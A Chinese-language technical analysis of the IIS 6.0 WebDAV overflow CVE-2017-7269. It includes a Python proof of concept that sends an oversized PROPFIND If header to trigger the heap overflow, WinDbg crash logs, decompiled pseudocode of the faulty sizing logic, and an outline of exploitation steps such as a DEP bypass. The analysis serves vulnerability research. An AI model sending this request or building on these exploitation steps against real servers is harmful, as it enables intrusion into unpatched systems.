2017年3月27日,来自华南理工大学的 Zhiniang Peng 和 Chen Wu 在 GitHub [1] 上公开了一份 IIS 6.0 的漏洞利用代码,并指明其可能于 2016 年 7 月份或 8 月份被用于黑客攻击活动。
该漏洞的编号为 CVE-2017-7269 [2],由恶意的 PROPFIND
请求所引起:当 If
字段包含形如 <http://localhost/xxxx>
的超长URL时,可导致缓冲区溢出(包括栈溢出和堆溢出)。
微软从 2015 年 7 月 14 日开始停止对 Windows Server 2003 的支持,所以这个漏洞也没有官方补丁,0patch [3] 提供了一个临时的解决方案。
无独有偶,Shadow Brokers 在2017年4月14日公布了一批新的 NSA 黑客工具,笔者分析后确认其中的 Explodingcan 便是 CVE-2017-7269 的漏洞利用程序,而且两个 Exploit 的写法如出一辙,有理由认为两者出自同一团队之手:
0x680312c0
;KiFastSystemCall / NtProtectVirtualMemory
绕过 DEP;本文以 3 月份公布的 Exploit 为基础,详细分析该漏洞的基本原理和利用技巧。
CStackBuffer
既可以将栈设置为存储区(少量数据)、也可以将堆设置为存储区(大量数据);CStackBuffer
分配存储空间时,误将 字符数 当做 字节数 使用,此为漏洞的根本原因;cookie
,不能直接覆盖返回地址;CStackBuffer
对象的内存,使之使用地址 0x680312c0
作为存储区;0x680312c0
;0x680313c0
;0x680313c0
将被当做一个对象的起始地址,调用虚函数时将接管控制权;SharedUserData
调用 KiFastSystemCall
绕过 DEP;在 Windows Server 2003 R2 Standard Edition SP2 上安装 IIS 并为其启用 WebDAV 特性即可。
修改 Exploit 的目标地址,执行后可以看到 svchost.exe
启动 w3wp.exe
子进程,后者以 NETWORK SERVICE
的身份启动了 calc.exe
进程 。
首先,为进程 w3wp.exe
启用 PageHeap 选项;其次,修改 Exploit 的代码,去掉其中的 Shellcode,使之仅发送超长字符串。
1 2 3 4 5 6 7 8 9 10 |
<span class="hljs-keyword">import</span> socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((<span class="hljs-string">'192.168.75.134'</span>,<span class="hljs-number">80</span>)) pay=<span class="hljs-string">'PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'</span> pay+=<span class="hljs-string">'If: <http://localhost/aaaaaaa'</span> pay+=<span class="hljs-string">'A'</span>*<span class="hljs-number">10240</span> pay+=<span class="hljs-string">'>\r\n\r\n'</span> sock.send(pay) |
执行之后 IIS 服务器上会启动 w3wp.exe
进程(并不会崩溃),此时将 WinDbg 附加到该进程并再次执行测试代码,即可在调试器中捕获到 first chance 异常,可以得到以下信息:
httpext!ScStoragePathFromUrl+0x360
处复制内存时产生了堆溢出;httpext!HrCheckIfHeader+0x0000013c
处分配;httpext!HrCheckIfHeader
执行过来的;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
$$ 捕获 First Chance 异常 <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">020</span>> g (e74.e8<span class="hljs-number">0</span>): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected <span class="hljs-keyword">and</span> handled. eax=<span class="hljs-number">00005014</span> ebx=<span class="hljs-number">00002</span>809 ecx=<span class="hljs-number">00000</span>a06 edx=<span class="hljs-number">07</span>81e7e<span class="hljs-number">0</span> esi=<span class="hljs-number">07</span>81a7e4 edi=<span class="hljs-number">07</span>82100<span class="hljs-number">0</span> eip=<span class="hljs-number">67126</span>fdb esp=<span class="hljs-number">03</span>fef33<span class="hljs-number">0</span> ebp=<span class="hljs-number">03</span>fef798 iopl=<span class="hljs-number">0</span> nv up ei pl nz na pe nc cs=<span class="hljs-number">001</span>b ss=<span class="hljs-number">0023</span> ds=<span class="hljs-number">0023</span> es=<span class="hljs-number">0023</span> fs=<span class="hljs-number">003</span>b gs=<span class="hljs-number">0000</span> efl=<span class="hljs-number">00010206</span> httpext!ScStoragePathFromUrl+<span class="hljs-number">0x360</span>: <span class="hljs-number">67126</span>fdb f3a5 rep movs dword ptr <span class="hljs-symbol">es:</span>[edi],dword ptr [esi] <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> r ecx ecx=<span class="hljs-number">00000</span>a06 <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> db esi <span class="hljs-number">07</span>81a7e4 <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span>-<span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> A.A.A.A.A.A.A.A. <span class="hljs-number">07</span>81a7f4 <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span>-<span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> A.A.A.A.A.A.A.A. <span class="hljs-number">07</span>81a804 <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span>-<span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> A.A.A.A.A.A.A.A. <span class="hljs-number">07</span>81a814 <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span>-<span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> A.A.A.A.A.A.A.A. <span class="hljs-number">07</span>81a824 <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span>-<span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> A.A.A.A.A.A.A.A. <span class="hljs-number">07</span>81a834 <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span>-<span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> A.A.A.A.A.A.A.A. <span class="hljs-number">07</span>81a844 <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span>-<span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> A.A.A.A.A.A.A.A. <span class="hljs-number">07</span>81a854 <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span>-<span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> <span class="hljs-number">41</span> <span class="hljs-number">00</span> A.A.A.A.A.A.A.A. $$ 目标堆块分配调用栈 <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> !heap -p -a edi address <span class="hljs-number">07</span>82100<span class="hljs-number">0</span> found <span class="hljs-keyword">in</span> _DPH_HEAP_ROOT @ <span class="hljs-number">7021000</span> <span class="hljs-keyword">in</span> busy allocation ( <span class="hljs-symbol">DPH_HEAP_BLOCK:</span> UserAddr UserSize - VirtAddr VirtSize) <span class="hljs-number">7023680</span>: <span class="hljs-number">781</span>e7d8 <span class="hljs-number">2828</span> - <span class="hljs-number">781</span>e00<span class="hljs-number">0</span> <span class="hljs-number">4000</span> <span class="hljs-number">7</span>c83d97a ntdll!RtlAllocateHeap+<span class="hljs-number">0x00000e9f</span> <span class="hljs-number">5</span>b7e1a4<span class="hljs-number">0</span> staxmem!MpHeapAlloc+<span class="hljs-number">0x000000f3</span> <span class="hljs-number">5</span>b7e1308 staxmem!ExchMHeapAlloc+<span class="hljs-number">0x00000015</span> <span class="hljs-number">67125</span>df9 httpext!CHeap::Alloc+<span class="hljs-number">0x00000017</span> <span class="hljs-number">67125</span>ee1 httpext!ExAlloc+<span class="hljs-number">0x00000008</span> <span class="hljs-number">67125462</span> httpext!HrCheckIfHeader+<span class="hljs-number">0x0000013c</span> <span class="hljs-number">6712561</span>e httpext!HrCheckStateHeaders+<span class="hljs-number">0x00000010</span> <span class="hljs-number">6711</span>f659 httpext!CPropFindRequest::Execute+<span class="hljs-number">0x000000f0</span> <span class="hljs-number">6711</span>f7c5 httpext!DAVPropFind+<span class="hljs-number">0x00000047</span> $$ ...... $$ 调用栈 <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> k ChildEBP RetAddr <span class="hljs-number">03</span>fef798 <span class="hljs-number">67119469</span> httpext!ScStoragePathFromUrl+<span class="hljs-number">0x360</span> <span class="hljs-number">03</span>fef7ac <span class="hljs-number">67125484</span> httpext!CMethUtil::ScStoragePathFromUrl+<span class="hljs-number">0x18</span> <span class="hljs-number">03</span>fefc34 <span class="hljs-number">6712561</span>e httpext!HrCheckIfHeader+<span class="hljs-number">0x15e</span> <span class="hljs-number">03</span>fefc44 <span class="hljs-number">6711</span>f659 httpext!HrCheckStateHeaders+<span class="hljs-number">0x10</span> <span class="hljs-number">03</span>fefc78 <span class="hljs-number">6711</span>f7c5 httpext!CPropFindRequest::Execute+<span class="hljs-number">0xf0</span> <span class="hljs-number">03</span>fefc9<span class="hljs-number">0</span> <span class="hljs-number">671296</span>f2 httpext!DAVPropFind+<span class="hljs-number">0x47</span> $$ ...... $$ 异常可以被处理,因此不会崩溃 <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> g (e74.e8<span class="hljs-number">0</span>): C++ EH exception - code e06d7363 (first chance) |
崩溃所在模块 httpext.dll
会多次使用一个名为 CStackBuffer
的模板,笔者写了一份类似的代码,以辅助对漏洞原理的理解。为了简单起见,默认存储类型为 unsigned char
,因此省略了模板参数 typename T
。
CStackBuffer
的相关特性如下:
SIZE
决定;resize
可以将堆设置为存储空间;fake_heap_size
的最低位标识存储空间的类型;release
释放存储空间;CStackBuffer
的源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
<span class="hljs-keyword">template</span><<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> SIZE> <span class="hljs-keyword">class</span> CStackBuffer { <span class="hljs-keyword">public</span>: CStackBuffer(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> size) { fake_heap_size = <span class="hljs-number">0</span>; heap_buffer = <span class="hljs-literal">NULL</span>; resize(size); } <span class="hljs-function"><span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span>* <span class="hljs-title">resize</span><span class="hljs-params">(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> size)</span> </span>{ <span class="hljs-keyword">if</span> (size <= SIZE) { size = SIZE; } <span class="hljs-keyword">if</span> (fake_heap_size >> <span class="hljs-number">2</span> < size) { <span class="hljs-keyword">if</span> (fake_heap_size & <span class="hljs-number">1</span> || size > SIZE) { release(); heap_buffer = (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span>*)<span class="hljs-built_in">malloc</span>(size); fake_heap_size |= <span class="hljs-number">1</span>; } <span class="hljs-keyword">else</span> { heap_buffer = buffer; } fake_heap_size = (<span class="hljs-number">4</span> * size) | (fake_heap_size & <span class="hljs-number">3</span>); } fake_heap_size |= <span class="hljs-number">2</span>; <span class="hljs-keyword">return</span> heap_buffer; } <span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">release</span><span class="hljs-params">()</span> </span>{ <span class="hljs-keyword">if</span> (fake_heap_size & <span class="hljs-number">1</span>) { <span class="hljs-built_in">free</span>(heap_buffer); heap_buffer = <span class="hljs-literal">NULL</span>; } } <span class="hljs-function"><span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span>* <span class="hljs-title">get</span><span class="hljs-params">()</span> </span>{ <span class="hljs-keyword">return</span> heap_buffer; } <span class="hljs-function"><span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> <span class="hljs-title">getFakeSize</span><span class="hljs-params">()</span> </span>{ <span class="hljs-keyword">return</span> fake_heap_size; } <span class="hljs-keyword">private</span>: <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> buffer[SIZE]; <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> fake_heap_size; <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span>* heap_buffer; }; |
根据之前的简单分析,可知 HrCheckIfHeader
是一个关键函数,因为:
ScStoragePathFromUrl
;函数 HrCheckIfHeader
简化后的伪代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">HrCheckIfHeader</span><span class="hljs-params">(CMethUtil *pMethUtil)</span> </span>{ CStackBuffer<<span class="hljs-number">260</span>> buffer1; LPWSTR lpIfHeader = CRequest::LpwszGetHeader(<span class="hljs-string">"If"</span>, <span class="hljs-number">1</span>); <span class="hljs-function">IFILTER <span class="hljs-title">ifilter</span><span class="hljs-params">(lpIfHeader)</span></span>; LPWSTR lpToken = ifilter->PszNextToken(<span class="hljs-number">0</span>); <span class="hljs-keyword">while</span> (<span class="hljs-number">1</span>) { <span class="hljs-comment">// <http://xxxxx></span> <span class="hljs-keyword">if</span> (lpToken) { CStackBuffer<<span class="hljs-number">260</span>> buffer2; <span class="hljs-comment">// http://xxxx></span> LPWSTR lpHttpUrl = lpToken + <span class="hljs-number">1</span>; <span class="hljs-keyword">size_t</span> length = wcslen(lpHttpUrl); <span class="hljs-keyword">if</span> (!buffer2.resize(<span class="hljs-number">2</span>*length + <span class="hljs-number">2</span>)) { buffer2.release(); <span class="hljs-keyword">return</span> <span class="hljs-number">0x8007000E</span>; } <span class="hljs-comment">// 将 URL 规范化后存入 buffer2</span> <span class="hljs-comment">// length = wcslen(lpHttpUrl) + 1</span> <span class="hljs-comment">// eax = 0</span> <span class="hljs-keyword">int</span> res = ScCanonicalizePrefixedURL( lpHttpUrl, buffer2.get(), &length); <span class="hljs-keyword">if</span> (!res) { length = buffer1.getFakeSize() >> <span class="hljs-number">3</span>; res = pMethUtil->ScStoragePathFromUrl( buffer2.get(), buffer1.get(), &length); <span class="hljs-keyword">if</span> (res == <span class="hljs-number">1</span>) { <span class="hljs-keyword">if</span> (buffer1.resize(length)) { res = pMethUtil->ScStoragePathFromUrl( buffer2.get(), buffer1.get(), &length); } } } } <span class="hljs-comment">// ......</span> } <span class="hljs-comment">// ......</span> } |
可以看出这里的关键函数为 CMethUtil::ScStoragePathFromUrl
,该函数会将请求转发给 ScStoragePathFromUrl
,后者简化后的伪代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 |
<span class="hljs-keyword">typedef</span> <span class="hljs-keyword">struct</span> _HSE_UNICODE_URL_MAPEX_INFO { WCHAR lpszPath[MAX_PATH]; DWORD dwFlags; <span class="hljs-comment">// The physical path that the virtual root maps to</span> DWORD cchMatchingPath;<span class="hljs-comment">// Number of characters in the physical path</span> DWORD cchMatchingURL; <span class="hljs-comment">// Number of characters in the URL</span> DWORD dwReserved1; DWORD dwReserved2; } HSE_UNICODE_URL_MAPEX_INFO, * LPHSE_UNICODE_URL_MAPEX_INFO; <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">ScStoragePathFromUrl</span><span class="hljs-params">( <span class="hljs-keyword">const</span> <span class="hljs-keyword">struct</span> IEcb *iecb, <span class="hljs-keyword">const</span> <span class="hljs-keyword">wchar_t</span> *buffer2, <span class="hljs-keyword">wchar_t</span> *buffer1, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *length, <span class="hljs-keyword">struct</span> CVRoot **a5)</span> </span>{ <span class="hljs-keyword">wchar_t</span> *Str = buffer2; <span class="hljs-comment">// 检查是否为 https://locahost:80/path http://localhost/path</span> <span class="hljs-comment">// 返回 /path></span> <span class="hljs-keyword">int</span> result = iecb->ScStripAndCheckHttpPrefix(&Str); <span class="hljs-keyword">if</span> (result < <span class="hljs-number">0</span> || *Str != <span class="hljs-string">'/'</span>) <span class="hljs-keyword">return</span> <span class="hljs-number">0x80150101</span>; <span class="hljs-keyword">int</span> v7 = wcslen(Str); <span class="hljs-comment">// c:\inetpub\wwwroot\path</span> <span class="hljs-comment">// dwFlags = 0x0201</span> <span class="hljs-comment">// cchMatchingPath = 0x12</span> <span class="hljs-comment">// cchMatchingURL = 0x00</span> <span class="hljs-comment">// result = 0</span> HSE_UNICODE_URL_MAPEX_INFO mapinfo; result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo); <span class="hljs-keyword">int</span> v36 = result; <span class="hljs-keyword">if</span> (result < <span class="hljs-number">0</span>) <span class="hljs-keyword">return</span> result; <span class="hljs-comment">// L"\x00c:\inetpub\wwwroot"</span> <span class="hljs-comment">// n == 0</span> <span class="hljs-keyword">wchar_t</span> *Str1 = <span class="hljs-literal">NULL</span>; <span class="hljs-keyword">int</span> n = iecb->CchGetVirtualRootW(&Str1); <span class="hljs-keyword">if</span> (n == mapinfo.cchMatchingURL) { <span class="hljs-keyword">if</span> (!n || Str[n<span class="hljs-number">-1</span>] && !_wcsnicmp(Str1, Str, n)) { <span class="hljs-keyword">goto</span> LABEL_14; } } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (n + <span class="hljs-number">1</span> == mapinfo.cchMatchingURL) { <span class="hljs-keyword">if</span> (Str[n] == <span class="hljs-string">'/'</span> || Str[n] == <span class="hljs-number">0</span>) { --mapinfo.cchMatchingURL; <span class="hljs-keyword">goto</span> LABEL_14; } } v36 = <span class="hljs-number">0x1507F7</span>; LABEL_14: <span class="hljs-keyword">if</span> (v36 == <span class="hljs-number">0x1507F7</span> && a5) <span class="hljs-comment">// a5 == 0</span> { <span class="hljs-comment">// ......</span> } <span class="hljs-comment">// 0x12</span> <span class="hljs-keyword">int</span> v16 = mapinfo.cchMatchingPath; <span class="hljs-keyword">if</span> (mapinfo.cchMatchingPath) { <span class="hljs-comment">// v17 = L"t\aaaaaaaAAA...."</span> <span class="hljs-keyword">wchar_t</span> *v17 = ((<span class="hljs-keyword">char</span>*)&mapinfo - <span class="hljs-number">2</span>) + <span class="hljs-number">2</span>*v16; <span class="hljs-keyword">if</span> (*v17 == <span class="hljs-string">'\\'</span>) { <span class="hljs-comment">// ......</span> } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (!*v17) { <span class="hljs-comment">// ......</span> } } <span class="hljs-comment">// v7 = wcslen(/path>)</span> <span class="hljs-keyword">int</span> v18 = v16 - mapinfo.cchMatchingURL + v7 + <span class="hljs-number">1</span>; <span class="hljs-keyword">int</span> v19 = *length < v18; <span class="hljs-keyword">if</span> (v19) { *length = v18; <span class="hljs-keyword">if</span> (a5) { <span class="hljs-comment">// ......</span> } result = <span class="hljs-number">1</span>; } <span class="hljs-keyword">else</span> { <span class="hljs-keyword">int</span> v24 = (<span class="hljs-number">2</span>*mapinfo.cchMatchingPath >> <span class="hljs-number">2</span>); qmemcpy( buffer1, mapinfo.lpszPath, <span class="hljs-number">4</span> * v24); LOBYTE(v24) = <span class="hljs-number">2</span>*mapinfo.cchMatchingPath; qmemcpy( &buffer1[<span class="hljs-number">2</span> * v24], (<span class="hljs-keyword">char</span>*)mapinfo.lpszPath + <span class="hljs-number">4</span> * v24, v24 & <span class="hljs-number">3</span>); qmemcpy( &buffer1[mapinfo.cchMatchingPath], &Str[mapinfo.cchMatchingURL], <span class="hljs-number">2</span> * (v7 - mapinfo.cchMatchingURL) + <span class="hljs-number">2</span>); <span class="hljs-keyword">for</span> (<span class="hljs-keyword">wchar_t</span> *p = &buffer1[mapinfo.cchMatchingPath]; *p; p += <span class="hljs-number">2</span>) { <span class="hljs-keyword">if</span> (*p == <span class="hljs-string">'/'</span>) *p = <span class="hljs-string">'\\'</span>; } *length = mapinfo.cchMatchingPath - mapinfo.cchMatchingURL + v7 + <span class="hljs-number">1</span>; result = v36; } <span class="hljs-keyword">return</span> result; } |
函数 HrCheckIfHeader
会调用 ScStoragePathFromUrl
两次,在第一次调用 ScStoragePathFromUrl
时,会执行如下的关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
{ <span class="hljs-keyword">wchar_t</span> *Str = buffer2; <span class="hljs-comment">// 返回 /path></span> <span class="hljs-keyword">int</span> result = iecb->ScStripAndCheckHttpPrefix(&Str); <span class="hljs-keyword">int</span> v7 = wcslen(Str); HSE_UNICODE_URL_MAPEX_INFO mapinfo; result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo); <span class="hljs-comment">// 0x12 L"c:\inetpub\wwwroot"</span> <span class="hljs-keyword">int</span> v16 = mapinfo.cchMatchingPath; <span class="hljs-comment">// v18 = 0x12 - 0 + wcslen('/path>') + 1 = 0x12 + 10249 + 1 = 0x281c</span> <span class="hljs-keyword">int</span> v18 = v16 - mapinfo.cchMatchingURL + v7 + <span class="hljs-number">1</span>; <span class="hljs-keyword">int</span> v19 = *length < v18; <span class="hljs-keyword">if</span> (v19) { *length = v18; <span class="hljs-keyword">if</span> (a5) { <span class="hljs-comment">// ......</span> } result = <span class="hljs-number">1</span>; } <span class="hljs-keyword">return</span> result; } |
这里得到 v18
的值为 0x281c
,而 *length
的值由参数传递,实际由 CStackBuffer::resize
计算得到,最终的值为 0x82
,计算公式为:
1 2 3 4 5 6 7 |
fake_heap_size = 0; size = 260; fake_heap_size = (4 * size) | (fake_heap_size & 3); fake_heap_size |= 2; length = fake_heap_size >> 3; |
显然有 0x82 < 0x281c
,所以函数 ScStoragePathFromUrl
将 *length
填充为 0x281c
并返回 1
。实际上,这个值代表的是真实物理路径的字符个数。
1 2 |
<span class="hljs-attr">0x281c</span> = <span class="hljs-number">0</span>x12 (<span class="hljs-string">"c:\inetpub\wwwroot"</span>) + <span class="hljs-number">10248</span> (<span class="hljs-string">"/aaa.."</span>) + <span class="hljs-number">1</span> (<span class="hljs-string">'>'</span>) + <span class="hljs-number">1</span> (<span class="hljs-string">'\0'</span>) |
在 HrCheckIfHeader
第二次调用 ScStoragePathFromUrl
之前,将根据 length
的值设置 CStackBuffer
缓冲区的大小。然而,这里设置的大小是字符个数,并不是字节数,所以第二次调用 ScStoragePathFromUrl
时会导致缓冲区溢出。实际上,调用 CStackBuffer::resize
的位置就是 httpext!HrCheckIfHeader+0x0000013c
,也就是堆溢出发生时通过 !heap -p -a edi
命令得到的栈帧。
1 2 3 4 5 6 7 8 9 10 11 |
res = pMethUtil->ScStoragePathFromUrl( buffer2.<span class="hljs-keyword">get</span>(), buffer1.<span class="hljs-keyword">get</span>(), &length); <span class="hljs-keyword">if</span> (res == <span class="hljs-number">1</span>) { <span class="hljs-keyword">if</span> (buffer1.resize(length)) <span class="hljs-comment">// httpext!HrCheckIfHeader+0x0000013c</span> { res = pMethUtil->ScStoragePathFromUrl( buffer2.<span class="hljs-keyword">get</span>(), buffer1.<span class="hljs-keyword">get</span>(), &length); } } |
小结:
ScStoragePathFromUrl
负责将 URL 请求中的文件路径转换为实际的物理路径,函数的名字也印证了这一猜想;在函数 HrCheckIfHeader
中,首先调用 CRequest::LpwszGetHeader
来获取 HTTP 头中的特定字段的值,该函数简化后的伪代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
<span class="hljs-keyword">int</span> CRequest::LpwszGetHeader(<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> *tag, <span class="hljs-keyword">int</span> a3) { <span class="hljs-comment">// 查找缓存</span> <span class="hljs-keyword">int</span> res = CHeaderCache<<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">short</span>>::LpszGetHeader( (<span class="hljs-keyword">char</span> *)<span class="hljs-keyword">this</span> + <span class="hljs-number">56</span>, tag); <span class="hljs-keyword">if</span> (res) <span class="hljs-keyword">return</span> res; <span class="hljs-comment">// 获取值</span> <span class="hljs-keyword">char</span> *pszHeader = <span class="hljs-keyword">this</span>->LpszGetHeader(tag); <span class="hljs-keyword">if</span> (!pszHeader) <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>; <span class="hljs-keyword">int</span> nHeaderChars = <span class="hljs-built_in">strlen</span>(pszHeader); CStackBuffer<tagPROPVARIANT, <span class="hljs-number">64</span>> stackbuffer(<span class="hljs-number">64</span>); <span class="hljs-keyword">if</span> (!stackbuffer.resize(<span class="hljs-number">2</span> * nHeaderChars + <span class="hljs-number">2</span>)) { <span class="hljs-comment">// _CxxThrowException(...);</span> } <span class="hljs-comment">// 调用 ScConvertToWide 进行转换</span> <span class="hljs-keyword">int</span> v11 = nHeaderChars + <span class="hljs-number">1</span>; <span class="hljs-keyword">char</span>* language = <span class="hljs-keyword">this</span>->LpszGetHeader(<span class="hljs-string">"Accept-Language"</span>); <span class="hljs-keyword">int</span> v7 = ScConvertToWide(pszHeader, &v11, stackbuffer.get(), language, a3); <span class="hljs-keyword">if</span> ( v7 ) <span class="hljs-comment">// _CxxThrowException(...);</span> <span class="hljs-comment">// 设置缓存</span> res = CHeaderCache<<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">short</span>>::SetHeader( tag, stackbuffer.get(), <span class="hljs-number">0</span>); stackbuffer.release(); <span class="hljs-keyword">return</span> res; } |
可以看出这里通过 CHeaderCache
建立缓存机制,此外获取到的值会通过调用 ScConvertToWide
来进行转换操作。事实上,ScConvertToWide
会调用 MultiByteToWideChar
对字符串进行转换。
1 2 3 4 5 6 7 8 |
MultiByteToWideChar( CP_UTF8, <span class="hljs-number">0</span>, pszHeader, <span class="hljs-built_in">strlen</span>(pszHeader) + <span class="hljs-number">1</span>, lpWideCharStr, <span class="hljs-built_in">strlen</span>(pszHeader) + <span class="hljs-number">1</span>); |
由于存在编码转换操作,Exploit 中的 Payload 需要先进行编码,这样才能保证解码后得到正常的 Payload。字符串转换的调试日志如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
